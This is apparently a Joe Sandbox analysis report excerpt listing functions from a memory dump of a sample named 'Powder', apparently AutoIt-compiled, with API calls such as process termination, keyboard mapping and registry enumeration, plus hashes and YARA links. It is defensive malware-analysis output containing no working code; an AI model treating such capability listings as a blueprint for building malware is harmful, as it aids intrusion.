API ID: Path$LineMoveObjectSelect$BeginCreateStroke
String ID:
API String ID: 43455801-0
Opcode ID: 3ca7f244678d9e79ee0b33528ffae5702d36021bc80148aa155f26454d3ed384
Instruction ID: e9aded28c563322b349293bff1f6220e3302cde0f19caec7c4775899ac50839f
Opcode Fuzzy Hash: 3ca7f244678d9e79ee0b33528ffae5702d36021bc80148aa155f26454d3ed384
Instruction Fuzzy Hash: E7110C7200411CBFDF029F91DC48EAA7FADEB04354F048462BA586A160C771AE59DBA0

Function 00E207BB Relevance: 9.0, APIs: 6, Instructions: 44keyboardCOMMON

Download Yara Rule

APIs

MapVirtualKeyW.USER32(0000005B,00000000), ref: 00E207EC
MapVirtualKeyW.USER32(00000010,00000000), ref: 00E207F4
MapVirtualKeyW.USER32(000000A0,00000000), ref: 00E207FF
MapVirtualKeyW.USER32(000000A1,00000000), ref: 00E2080A
MapVirtualKeyW.USER32(00000011,00000000), ref: 00E20812
MapVirtualKeyW.USER32(00000012,00000000), ref: 00E2081A

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: Virtual
String ID:
API String ID: 4278518827-0
Opcode ID: 0b45bbf00cd17ba195470109922d18ae3cd7e85b2bcf947c480f4efc2dc4448a
Instruction ID: 9c4110ea8bb6ceaf5ab75f9f8197f12a2e85e95060c6a58dd3eee2e5ff4f93e8
Opcode Fuzzy Hash: 0b45bbf00cd17ba195470109922d18ae3cd7e85b2bcf947c480f4efc2dc4448a
Instruction Fuzzy Hash: 5D016CB09017597DE3008F5A8C85B52FFB8FF59354F00411BA15C47942C7F5A868CBE5

Function 00E659A4 Relevance: 9.0, APIs: 6, Instructions: 43windowtimethreadCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,00000010,00000000,00000000), ref: 00E659B4
SendMessageTimeoutW.USER32(?,00000010,00000000,00000000,00000002,000001F4,?), ref: 00E659CA
GetWindowThreadProcessId.USER32(?,?), ref: 00E659D9
OpenProcess.KERNEL32(001F0FFF,00000000,?,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 00E659E8
TerminateProcess.KERNEL32(00000000,00000000,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 00E659F2
CloseHandle.KERNEL32(00000000,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 00E659F9

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: Process$Message$CloseHandleOpenPostSendTerminateThreadTimeoutWindow
String ID:
API String ID: 839392675-0
Opcode ID: 25921099f5fe444a7533a31ce1c8961ec66f5070c0eac55c38b5a8ca8296913d
Instruction ID: 167a0c7c597b7073c086c1a0439bb65d38a257f36b8f745164ab5fdf41fbe1be
Opcode Fuzzy Hash: 25921099f5fe444a7533a31ce1c8961ec66f5070c0eac55c38b5a8ca8296913d
Instruction Fuzzy Hash: C4F03032241158BFE7215B939C0DEEF7B7CEFC6B11F40015BFA05A1051D7A01A1587B5

Function 00E677EB Relevance: 9.0, APIs: 6, Instructions: 33synchronizationthreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

InterlockedExchange.KERNEL32(?,?), ref: 00E677FE
EnterCriticalSection.KERNEL32(?,?,00E0C2B6,?,?), ref: 00E6780F
TerminateThread.KERNEL32(00000000,000001F6,?,00E0C2B6,?,?), ref: 00E6781C
WaitForSingleObject.KERNEL32(00000000,000003E8,?,00E0C2B6,?,?), ref: 00E67829

Part of subcall function 00E671F0: CloseHandle.KERNEL32(00000000,?,00E67836,?,00E0C2B6,?,?), ref: 00E671FA

InterlockedExchange.KERNEL32(?,000001F6), ref: 00E6783C
LeaveCriticalSection.KERNEL32(?,?,00E0C2B6,?,?), ref: 00E67843

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: CriticalExchangeInterlockedSection$CloseEnterHandleLeaveObjectSingleTerminateThreadWait
String ID:
API String ID: 3495660284-0
Opcode ID: 2e74a2efde942af47c39939720b595995d6bdce5f6a2c3bf2cd0d0ff168d6dc3
Instruction ID: 83a3791f71ed1a6764f52099c6ea34f4a4be92c683eba907a3b4294aa2e9e567
Opcode Fuzzy Hash: 2e74a2efde942af47c39939720b595995d6bdce5f6a2c3bf2cd0d0ff168d6dc3
Instruction Fuzzy Hash: 99F05E32185212AFD7112B65EC8CAAB7769FF45306B941423F102B50B6CBB65809CB60

Function 00E5954A Relevance: 9.0, APIs: 6, Instructions: 23memorysynchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,000000FF), ref: 00E59555
UnloadUserProfile.USERENV(?,?), ref: 00E59561
CloseHandle.KERNEL32(?), ref: 00E5956A
CloseHandle.KERNEL32(?), ref: 00E59572
GetProcessHeap.KERNEL32(00000000,?), ref: 00E5957B
HeapFree.KERNEL32(00000000), ref: 00E59582

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: CloseHandleHeap$FreeObjectProcessProfileSingleUnloadUserWait
String ID:
API String ID: 146765662-0
Opcode ID: 7c030de7bbf433db674d0d9bc70e243cb0ef02bd7583dfec53315f134a89ee46
Instruction ID: f895a076ffb860ca888f788c40a7654c349bb0429b17577161cf183e549f1e93
Opcode Fuzzy Hash: 7c030de7bbf433db674d0d9bc70e243cb0ef02bd7583dfec53315f134a89ee46
Instruction Fuzzy Hash: 8DE05276104505BFDA416BE7EC0C95ABB69FF49722B904623F219A1470CB32A469DB50

Function 00E78CD7 Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 225COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 00E78CFD
CharUpperBuffW.USER32(?,?), ref: 00E78E0C
VariantClear.OLEAUT32(?), ref: 00E78F84

Part of subcall function 00E67B1D: VariantInit.OLEAUT32(00000000), ref: 00E67B5D
Part of subcall function 00E67B1D: VariantCopy.OLEAUT32(00000000,?), ref: 00E67B66
Part of subcall function 00E67B1D: VariantClear.OLEAUT32(00000000), ref: 00E67B72

Strings

AUTOIT.ERROR, xrefs: 00E78E12
Incorrect Parameter format, xrefs: 00E78D35, 00E78EF7

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: Variant$ClearInit$BuffCharCopyUpper
String ID: AUTOIT.ERROR$Incorrect Parameter format
API String ID: 4237274167-1221869570
Opcode ID: 34bd12030af0a007b870d6c34797f5b3f52de124e49a18d430b2804a4d895ec4
Instruction ID: 1d9fc773430f8dd97c64def1b5fefbca769f20f2b833c7cc247e09dafe4d6d18
Opcode Fuzzy Hash: 34bd12030af0a007b870d6c34797f5b3f52de124e49a18d430b2804a4d895ec4
Instruction Fuzzy Hash: 8B91CE706043019FC714DF24C98489ABBF5EF99344F14996EF98AAB3A2DB30E945CB52

Function 00E6323D Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 195windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00E1436A: _wcscpy.LIBCMT ref: 00E1438D

_memset.LIBCMT ref: 00E6332E
GetMenuItemInfoW.USER32(?,?,00000000,?), ref: 00E6335D
SetMenuItemInfoW.USER32(?,?,00000000,?), ref: 00E63410
SetMenuDefaultItem.USER32(?,000000FF,00000000), ref: 00E6343E

Strings

0, xrefs: 00E6331A

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: ItemMenu$Info$Default_memset_wcscpy
String ID: 0
API String ID: 4152858687-4108050209
Opcode ID: a338be3f62e466715b8b1c83bf5b80b0162e56490b2b91e1738419f01255a592
Instruction ID: 9b242380f7ae8169d1496074282e5cf7d99cfc4e53593cc502903f0230d39e1b
Opcode Fuzzy Hash: a338be3f62e466715b8b1c83bf5b80b0162e56490b2b91e1738419f01255a592
Instruction Fuzzy Hash: 3C51D1316883009FD7159E38E845A6BB7E4EF457A8F04252EF8A1F22E1DB30CE44CB52

Function 00E62EFA Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 114windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00E62F67
GetMenuItemInfoW.USER32(00000004,00000000,00000000,?), ref: 00E62F83
DeleteMenu.USER32(?,00000007,00000000), ref: 00E62FC9
DeleteMenu.USER32(?,00000000,00000000,?,00000000,00000000,00EC7890,00000000), ref: 00E63012

Strings

0, xrefs: 00E62F5C

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: Menu$Delete$InfoItem_memset
String ID: 0
API String ID: 1173514356-4108050209
Opcode ID: af1ab4693027fd4dfb98232cce2df5b618d34a2bfe11030be8eca0c5a1ddf585
Instruction ID: e233fa601115d03e9abf84839fa63816e35cee0ab9918904e91fc6b9416e23f8
Opcode Fuzzy Hash: af1ab4693027fd4dfb98232cce2df5b618d34a2bfe11030be8eca0c5a1ddf585
Instruction Fuzzy Hash: B841C3312443419FD720DF24E884B5ABBE4EF84394F146A1EF5A5B72D1DB70EA09CB62

Function 00E59A48 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 94windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00E11A36: _memmove.LIBCMT ref: 00E11A77

Part of subcall function 00E5B79A: GetClassNameW.USER32(?,?,000000FF), ref: 00E5B7BD

SendMessageW.USER32(?,00000188,00000000,00000000), ref: 00E59ACC
SendMessageW.USER32(?,0000018A,00000000,00000000), ref: 00E59ADF
SendMessageW.USER32(?,00000189,?,00000000), ref: 00E59B0F

Part of subcall function 00E11821: _memmove.LIBCMT ref: 00E1185B

Strings

ComboBox, xrefs: 00E59A56
ListBox, xrefs: 00E59A8B

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: MessageSend$_memmove$ClassName
String ID: ComboBox$ListBox
API String ID: 365058703-1403004172
Opcode ID: 91b1858da3d98856a6e66ff74ad3cb9128baee143b29f2258f0c52a9f43a7edd
Instruction ID: d036f6ebc74c0915ad8385f88b955715c6b6f9f5f34ea9d89f29726ecfc7b196
Opcode Fuzzy Hash: 91b1858da3d98856a6e66ff74ad3cb9128baee143b29f2258f0c52a9f43a7edd
Instruction Fuzzy Hash: 7E21F671901104BEDB14EBA0DC45DFFB7B8DF45350F10651AFD25B72D2DB3449499660

Function 00E86A0C Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 80windowlibraryCOMMON

Download Yara Rule

APIs

Part of subcall function 00E02111: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 00E0214F
Part of subcall function 00E02111: GetStockObject.GDI32(00000011), ref: 00E02163
Part of subcall function 00E02111: SendMessageW.USER32(00000000,00000030,00000000), ref: 00E0216D

SendMessageW.USER32(00000000,00000467,00000000,?), ref: 00E86A86
LoadLibraryW.KERNEL32(?), ref: 00E86A8D
SendMessageW.USER32(?,00000467,00000000,00000000), ref: 00E86AA2
DestroyWindow.USER32(?), ref: 00E86AAA

Strings

SysAnimate32, xrefs: 00E86A61

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: MessageSend$Window$CreateDestroyLibraryLoadObjectStock
String ID: SysAnimate32
API String ID: 4146253029-1011021900
Opcode ID: 91e9cdfde69232a8a2148f452bb5797d0d7e216d88554fcbd1af3be3d7c9c674
Instruction ID: 3b44dba054026ac6feed8503183f4ebc9ec8592ed381883f6d2b2a9dcf38fe16
Opcode Fuzzy Hash: 91e9cdfde69232a8a2148f452bb5797d0d7e216d88554fcbd1af3be3d7c9c674
Instruction Fuzzy Hash: 0021F071200205AFEF14AF64DC81EBB37ACEF49368F50A65AFA5CB21A0D331CC519760

Function 00E67357 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 79filepipeCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(0000000C), ref: 00E67377
CreatePipe.KERNEL32(?,?,0000000C,00000000), ref: 00E673AA
GetStdHandle.KERNEL32(0000000C), ref: 00E673BC
CreateFileW.KERNEL32(nul,40000000,00000002,0000000C,00000003,00000080,00000000), ref: 00E673F6

Strings

nul, xrefs: 00E673F1

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: CreateHandle$FilePipe
String ID: nul
API String ID: 4209266947-2873401336
Opcode ID: bc534abac2b702bb41a7cf1f1f40ac8b869c9645e5f3b96e4e840b6e3d6b92fa
Instruction ID: 41fe68f75e99005929717ebbaf645ec838761a538efdc558e119dbff8b2a11f7
Opcode Fuzzy Hash: bc534abac2b702bb41a7cf1f1f40ac8b869c9645e5f3b96e4e840b6e3d6b92fa
Instruction Fuzzy Hash: 9A2171705883069FDB208F65EC05A9E7BE4AF54768F205A1AFCE0F72E0D7709850DB50

Function 00E67425 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 79filepipeCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F6), ref: 00E67444
CreatePipe.KERNEL32(?,?,0000000C,00000000), ref: 00E67476
GetStdHandle.KERNEL32(000000F6), ref: 00E67487
CreateFileW.KERNEL32(nul,80000000,00000001,0000000C,00000003,00000080,00000000), ref: 00E674C1

Strings

nul, xrefs: 00E674BC

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: CreateHandle$FilePipe
String ID: nul
API String ID: 4209266947-2873401336
Opcode ID: a52da5d09b2baaf7245309724c7969000205c01eb51e723e6a8afb69fba325a4
Instruction ID: be0607ddb93c82e570f1e5d9ab164587d1d6b90410359a0ed420439643076ce2
Opcode Fuzzy Hash: a52da5d09b2baaf7245309724c7969000205c01eb51e723e6a8afb69fba325a4
Instruction Fuzzy Hash: D721E2315483059FDB208F69AC08A9A7BE8AF453B8F201A0AF8F0F72E1DF709850C750

Function 00E6B283 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 73COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 00E6B297
GetVolumeInformationW.KERNEL32(?,?,00007FFF,?,00000000,00000000,00000000,00000000), ref: 00E6B2EB
__swprintf.LIBCMT ref: 00E6B304
SetErrorMode.KERNEL32(00000000,00000001,00000000,00E90980), ref: 00E6B342

Strings

%lu, xrefs: 00E6B2FE

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: ErrorMode$InformationVolume__swprintf
String ID: %lu
API String ID: 3164766367-685833217
Opcode ID: 5b3238d6b7930c54177cb072a3ae3e2b1420561d7144f66ec4bcc07d29837038
Instruction ID: 7d35ab2e463b66bb8eb6d237174e60c90eff381cdd35f40825bdf327105166eb
Opcode Fuzzy Hash: 5b3238d6b7930c54177cb072a3ae3e2b1420561d7144f66ec4bcc07d29837038
Instruction Fuzzy Hash: 65216070A40209AFCB10EFA5D945DEEB7F8EF89704B1040A9F905F7292DB71EA45CB61

Function 00E5AC05 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 68windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00E11821: _memmove.LIBCMT ref: 00E1185B

Part of subcall function 00E5AA52: SendMessageTimeoutW.USER32(?,00000000,00000000,00000000,00000002,00001388,00000001), ref: 00E5AA6F
Part of subcall function 00E5AA52: GetWindowThreadProcessId.USER32(?,00000000), ref: 00E5AA82
Part of subcall function 00E5AA52: GetCurrentThreadId.KERNEL32 ref: 00E5AA89
Part of subcall function 00E5AA52: AttachThreadInput.USER32(00000000), ref: 00E5AA90

GetFocus.USER32 ref: 00E5AC2A

Part of subcall function 00E5AA9B: GetParent.USER32(?), ref: 00E5AAA9

GetClassNameW.USER32(?,?,00000100), ref: 00E5AC73
EnumChildWindows.USER32(?,00E5ACEB), ref: 00E5AC9B
__swprintf.LIBCMT ref: 00E5ACB5

Strings

%s%d, xrefs: 00E5ACAF

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: Thread$AttachChildClassCurrentEnumFocusInputMessageNameParentProcessSendTimeoutWindowWindows__swprintf_memmove
String ID: %s%d
API String ID: 1941087503-1110647743
Opcode ID: 418c3ca3c633e3f4e647d0b8f1377c1f4dcd0e9d934795208b220260c9d0e795
Instruction ID: 5f24689e8a258615d15aa5235ad5f37676431da1a4f1de97c0f1157991a595ec
Opcode Fuzzy Hash: 418c3ca3c633e3f4e647d0b8f1377c1f4dcd0e9d934795208b220260c9d0e795
Instruction Fuzzy Hash: 2A11E475200204ABCF11BFA0CD85FEA77ACAB88311F046476FE09BA143DB705949CB72

Function 00E622E7 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 49COMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?), ref: 00E62318

Strings

EXISTS, xrefs: 00E62340
APPEND, xrefs: 00E62351
KEYS, xrefs: 00E6232F
REMOVE, xrefs: 00E6231E

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: BuffCharUpper
String ID: APPEND$EXISTS$KEYS$REMOVE
API String ID: 3964851224-769500911
Opcode ID: aa35382b193a884dafa90c5c95f93bca011590a285ccbc2003ae3b64d9c4ca04
Instruction ID: fb3736f320a9a09173542b8a17cd857a9aab3a1d45081d94853cc76b2ad05280
Opcode Fuzzy Hash: aa35382b193a884dafa90c5c95f93bca011590a285ccbc2003ae3b64d9c4ca04
Instruction Fuzzy Hash: C1118E3098112A9FCF00EF94E8514EEB7B8FF16384F1060A9D91077392EB725D06CB40

Function 00E7F23E Relevance: 7.7, APIs: 5, Instructions: 247COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000410,00000000,00000000), ref: 00E7F2F0
GetProcessIoCounters.KERNEL32(00000000,?), ref: 00E7F320
GetProcessMemoryInfo.PSAPI(00000000,?,00000028), ref: 00E7F453
CloseHandle.KERNEL32(?), ref: 00E7F4D4

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: Process$CloseCountersHandleInfoMemoryOpen
String ID:
API String ID: 2364364464-0
Opcode ID: c4d224a2b54890b08a003e5c9b3b9d712b6d673f59b2b27c083aeba038b4ff86
Instruction ID: 09241e66e3aa9ee550c970e89c1461051a0e76b218b1e5f7e83aa4b9c71c9e0a
Opcode Fuzzy Hash: c4d224a2b54890b08a003e5c9b3b9d712b6d673f59b2b27c083aeba038b4ff86
Instruction Fuzzy Hash: 2B8192B16043019FD720EF28D986F2AB7E5AF44714F14991DFA99EB2D2D7B0AC408B91

Function 00E80697 Relevance: 7.6, APIs: 5, Instructions: 144registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00E11A36: _memmove.LIBCMT ref: 00E11A77

Part of subcall function 00E8147A: CharUpperBuffW.USER32(?,?,?,?,?,?,?,00E8040D,?,?), ref: 00E81491

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00E8075D
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 00E8079C
RegEnumKeyExW.ADVAPI32(?,-00000001,?,?,00000000,00000000,00000000,?), ref: 00E807E3
RegCloseKey.ADVAPI32(?,?), ref: 00E8080F
RegCloseKey.ADVAPI32(00000000), ref: 00E8081C

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
